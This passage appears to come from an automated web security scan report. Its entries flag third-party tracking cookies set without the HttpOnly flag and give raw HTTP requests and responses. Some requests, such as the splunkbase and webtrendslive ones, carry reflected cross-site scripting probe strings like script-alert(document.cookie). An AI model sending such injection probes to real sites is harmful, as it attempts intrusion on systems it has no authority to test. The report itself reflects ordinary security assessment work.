User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.291. http://mm.chitika.net/track previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/track

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_cc=G/SkJSQEuhBljgvx6LisqP2AupJFgK5WemUmSqCRZBWwtlJoLJyYgB+x08rWfR/ShFOalNGTqfmziVraghl7E5uw5btO/3yboIdQqftyHKB+g7P8wMvkemEuzoCTYpWKHlUSxVhR50f2PlZ6fjsBY0CFwN9hVXFmL8HKdre0pLs5j588G6gZiAJRmHCBNkJOTSR//T65ILEf+/zYQH9GEFG21a2cOwXpQT/X3AA1xYRx55e5f0pk89+3749Q7bToVTjXJEtWHe0sLv6YvvEL0st9nPt2AvKtpaEWfj3Za7cWIDXcN0fSKTgVHgotXqUMppLvmdMFBj7UXYE3V4wIHjW4oLDYBkaexvtU/jFfW33U5VDxBYKf0wTugzjk+6FQPhbOk5WHOShaZ3pmXtPi1RHnV3CEpc3tWhURdlFptP5JLt2lQ0nGlSXSbFGH/vYeuIiFhzqouFUKdaeTaNkWRPNqjPrrmyjI3Zlgea+6POPlNmGrHviQhkvEwsbqhAr121e/z1ZyuXphNg==.dshw/dsAXHyAOlroJxVp1A.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:58:22 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.292. http://msdn.microsoft.com/en-us/library/ms537509(VS.85 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://msdn.microsoft.com
Path:	/en-us/library/ms537509(VS.85

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

A=I&I=AxUFAAAAAAAyBwAAuz30ai1AfCKXhVuk1jrJ1A!!&M=1; domain=.microsoft.com; expires=Tue, 05-Feb-2041 22:58:24 GMT; path=/
ADS=SN=175A21EF; domain=.microsoft.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /en-us/library/ms537509(VS.85 HTTP/1.1
Host: msdn.microsoft.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.293. http://myweb2.search.yahoo.com/myresults/bookmarklet previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://myweb2.search.yahoo.com
Path:	/myresults/bookmarklet

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

B=86nvjvd6kthej&b=3&s=sl; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /myresults/bookmarklet HTTP/1.1
Host: myweb2.search.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.294. http://orthoinfo.aaos.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://orthoinfo.aaos.org
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-16894361880414; path=/; expires=Sat, 05-Feb-16 21:51:39 GMT; domain=.aaos.org

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: orthoinfo.aaos.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.295. http://owneriq.postaffiliatepro.com/scripts/track.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://owneriq.postaffiliatepro.com
Path:	/scripts/track.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PAPVisitorId=9fd9f851ad9922b96aa792d8610g52Pg; expires=Tue, 02-Feb-2021 21:54:13 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /scripts/track.php?accountId=default1&url=H_homeappliance.manualsonline.com%2F%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens%2Fd%2Ftype1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e%2Fproduct_problem&referrer=H_burp%2Fshow%2F2&getParams=&anchor=&cookies= HTTP/1.1
Host: owneriq.postaffiliatepro.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.2
X-Powered-By: PHP/5.3.2
P3P: CP="NOI NID ADMa DEVa PSAa OUR BUS ONL UNI COM STA OTC"
Set-Cookie: PAPVisitorId=9fd9f851ad9922b96aa792d8610g52Pg; expires=Tue, 02-Feb-2021 21:54:13 GMT; path=/
Content-Length: 48
Content-Type: application/x-javascript

setVisitor('9fd9f851ad9922b96aa792d8610g52Pg');

15.296. http://pixel.33across.com/ps/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.33across.com
Path:	/ps/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

33x_ps=u%3D6285160526%3As1%3D1295482376917%3Ats%3D1296942584073%3As2.33%3D%2C6770%2C6570%2C4150%2C5360%2C; Domain=.33across.com; Expires=Sun, 05-Feb-2012 21:49:44 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.297. http://pixel.intellitxt.com/pixel.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.intellitxt.com
Path:	/pixel.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_PIX=AQAAAAkAAArrAQAAAAEAAAEt98vDoAAACuoBAAAAAQAAAS33y8OgAAAKywEAAAABAAABLffLw6AAAAroAQAAAAEAAAEt98vDoAAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAHcLRHA--; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/html
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:48:02 GMT
Connection: close
Content-Length: 3149

(function(){try{var d=document;var u;u='http://segment-pixel.invitemedia.com/pixel?code=2773&partnerID=86&key=segment&returnType=js';if(navigator.appVersion.indexOf('MSIE')>=0 && ('complete'!=document
...[SNIP]...

15.298. http://pixel.quantserve.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/pixel

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

d=EIcAJKANq0itiBCpnizJGquYH6TbIAGzAQH9BYHWAJrR5q8fLyD5HhvB0s5SBu0fLC5Rs7ohqS4t8QyUYA-yASARKR8w4wANMOMAjFCSDU0YhIFADybhCx6zwQsaUbHhAE0QIgAXLkw-glA7I4OxHhmiEA; expires=Fri, 06-May-2011 21:47:57 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.299. http://px.owneriq.net/cm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/cm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

gguuid=CAESEJ1QzO8syyE54_azrc6wYSw; expires=Thu, 04-Feb-2016 22:28:27 GMT; path=/; domain=.owneriq.net
rpq=deleted; expires=Fri, 05-Feb-2010 22:28:26 GMT; path=/; domain=.owneriq.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.300. http://px.owneriq.net/oxcm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/oxcm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; expires=Thu, 04-Feb-2016 22:27:24 GMT; path=/; domain=.owneriq.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Content-Length: 43
Content-Type: image/gif
Expires: Sat, 05 Feb 2011 22:27:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:27:24 GMT
Connection: close
Set-Cookie: oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; expires=Thu, 04-Feb-2016 22:27:24 GMT; path=/; domain=.owneriq.net

GIF89a.............!.......,...........D..;

15.301. http://px.owneriq.net/p previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/p

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ss=2n78c.6f2tf; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
si=18fa5f7f-8d3f-4a46-9deb-a7032f753452; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
rpq=351513.866594; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Location: http://cm.g.doubleclick.net/pixel?nid=owneriq1
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 22:27:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:27:10 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: ss=2n78c.6f2tf; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
Set-Cookie: si=18fa5f7f-8d3f-4a46-9deb-a7032f753452; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net
Set-Cookie: rpq=351513.866594; expires=Thu, 04-Feb-2016 22:27:10 GMT; path=/; domain=.owneriq.net

15.302. http://qooxdoo.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://qooxdoo.org
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

DokuWiki=6ec7b995219af1bfd635e7fea1fe6e25; path=/
DW79e26b637e697ad5a16041d830721ef8=deleted; expires=Sat, 06-Feb-2010 16:04:38 GMT; path=/
bb2_screener_=1297008279+173.193.214.243; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: qooxdoo.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:39 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch11 mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch11
Set-Cookie: DokuWiki=6ec7b995219af1bfd635e7fea1fe6e25; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: DW79e26b637e697ad5a16041d830721ef8=deleted; expires=Sat, 06-Feb-2010 16:04:38 GMT; path=/
Set-Cookie: bb2_screener_=1297008279+173.193.214.243; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12782

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head profile="http://dublincore.org/documen
...[SNIP]...

15.303. http://quotes.forexyard.com/quotes2.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/quotes2.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

quote_auth=b%3A0%3B

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /quotes2.js HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://quotes.forexyard.com/iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:59 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: quote_auth=b%3A0%3B
Vary: Accept-Encoding
Content-Type: application/x-javascript
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 9820

function include(script_filename) {
document.write('<' + 'script');
document.write(' language="javascript"');
document.write(' type="text/javascript"');
document.write(' src="' + scrip
...[SNIP]...

15.304. http://rt32.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt32.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
Set-Cookie: cnoi=3; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:32 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2806
Date: Sat, 05 Feb 2011 22:35:24 GMT
Connection: close

data=({rid:'19e4c78f-5cba-4ac1-a4e2-d797d9a28264',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'pyLHHeia_ZLdtc0elSUPOZwYvA85Bi47WAQiMBGbfP8QGLGadgfcILH2vzXIRPX
...[SNIP]...

15.305. http://rt82.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt82.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
Set-Cookie: cnoi=2; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:18 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:10 GMT
Connection: close

data=({rid:'2b42bf69-f9b5-4581-b1f9-d14fe468ec23',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'DxEeWajNm9z8tEDTprVRcNMVS45LwjB_Pk4yAPQWDhhsIdxUsjuxBsUuE3uANgo
...[SNIP]...

15.306. http://rt83.infolinks.com/action/doq.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rt83.infolinks.com
Path:	/action/doq.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
Set-Cookie: cnoi=1; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:13 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2805
Date: Sat, 05 Feb 2011 22:35:06 GMT
Connection: close

data=({rid:'32ee1ffe-b370-4e67-81d6-7fba3ea16f6a',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'m-CgWNHkBNztVYW8Sno0DzskCEYwZO-FZXzK7bQ7e5UmXN0gV1X8o-96Sd0rNje
...[SNIP]...

15.307. https://sb.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sb.voicefive.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=4794bf8-184.50.222.110-1297008284; expires=Tue, 05-Feb-2013 16:04:44 GMT; path=/; domain=.voicefive.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b HTTP/1.1
Host: sb.voicefive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.308. http://segment-pixel.invitemedia.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://segment-pixel.invitemedia.com
Path:	/pixel

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

segments="13746|10659|16748|3425|38582,1298044270|40657|24085|10102|3391|3392|23864|11262|11265|9800|30353|7775|17277|38781|8|27273|2377"; Domain=invitemedia.com; expires=Sun, 05-Feb-2012 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.309. http://sourceforge.net/projects/winscp/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sourceforge.net
Path:	/projects/winscp/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sf.consume=5190f10be680cb56d4527eb2d26de8365965b754gAJ9cQEoVQhfZXhwaXJlc3ECY2RhdGV0aW1lCmRhdGV0aW1lCnEDVQoH9gETAw4HAAAAhVJxBFUFcHJlZnNxBX1xBlUOdXNlc19yZWxhdGlvbnNxB4lVB3ZlcnNpb25xCFUBMlUDa2V5cQlVGDRkNGRjNmE2ODY1MDJiMDhlNTAwMmFmNnEKVQNfaWRxC1UgNTBjMjE5NGVmYTczZjQxODJlZjljZTAxY2U2OGEzZTJxDFUOX2FjY2Vzc2VkX3RpbWVxDUdB01NxqafBDVUOX2NyZWF0aW9uX3RpbWVxDkdB01NxqafAWXUu; expires=Tue, 19-Jan-2038 03:14:07 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /projects/winscp/ HTTP/1.1
Host: sourceforge.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.310. http://splunkbase.splunk.com/account:session/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/account:session/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sso=173.193.214.243.1296942930878168; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /account:session/?redir=/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1&id=173.193.214.243.1296942930878168 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:23 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: sso=173.193.214.243.1296942930878168; path=/
Location: http://splunkbase.splunk.com/?1ffc5"><script>alert(document.cookie)</script>46cc332d1dc=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

15.311. http://spongecell.com/api/widgets/clickthrough/263365 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://spongecell.com
Path:	/api/widgets/clickthrough/263365

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /api/widgets/clickthrough/263365 HTTP/1.1
Host: spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 23:01:19 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/
Status: 302 Found
Location: http://www.officedepot.com/?cm_mmc=Retail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250
Cache-Control: max-age=60
Content-Length: 175

<html><body>You are being <a href="http://www.officedepot.com/?cm_mmc=Retail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250">redirected</a>.</body></html>

15.312. http://statse.webtrendslive.com/dcsjpsizt10000o69qvsmy5ls_9m8u/dcs.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statse.webtrendslive.com
Path:	/dcsjpsizt10000o69qvsmy5ls_9m8u/dcs.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0yNjA1MzY0MzY4LjMwMTI2NDkyAAAAAAAIAAAAtXsAAGwfLU1MHy1N4LYAANfxQk3H8UJNZuAAALAkRE2vJERNoPEAAIycRU2MnEVND6gAANjTSU3Y00lNDqgAAMzNSk1Hy0pNDroAAMPOSk3CzkpNY+UAAIvQTU2L0E1NBwAAAF4zAABsHy1NTB8tTQtFAADX8UJNx/FCTUtLAACwJERNryRETWpLAACMnEVNjJxFTcJBAADMzUpNR8tKTUkfAADDzkpNws5KTV0eAACL0E1Ni9BNTQAAAAA-; path=/; expires=Thu, 10-Dec-2015 10:27:34 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dcsjpsizt10000o69qvsmy5ls_9m8u/dcs.gif?&dcsdat=1296944076898&dcssip=www.pointehilton.com&dcsuri=/&dcsqry=%3F1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1&dcsref=http://burp/show/17&WT.co_f=173.193.214.243-2605364368.30126492&WT.vt_sid=173.193.214.243-2605364368.30126492.1296944076900&WT.vt_f_tlv=0&WT.tz=-6&WT.bh=16&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=Phoenix%20All%20Suites%20Hotel%20|%20Pointe%20Hilton%20Resorts%20|%20Phoenix,%20Arizona&WT.js=Yes&WT.jv=1.5&WT.ct=unknown&WT.bs=985x1012&WT.fv=10.1&WT.slv=Unknown&WT.tv=8.5.0&WT.dl=0&WT.ssl=0&WT.es=www.pointehilton.com/&WT.pn_sku=cluster&WT.tx_e=v&WT.tx_u=1&WT.z_brand=Hilton&WT.zsitetype=L&WT.cg_n=home&WT.vt_f_tlh=0&WT.vt_f_d=1&WT.vt_f_s=1&WT.vt_f_a=1&WT.vt_f=1 HTTP/1.1
Host: statse.webtrendslive.com
Proxy-Connection: keep-alive
Referer: http://www.pointehilton.com/?1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
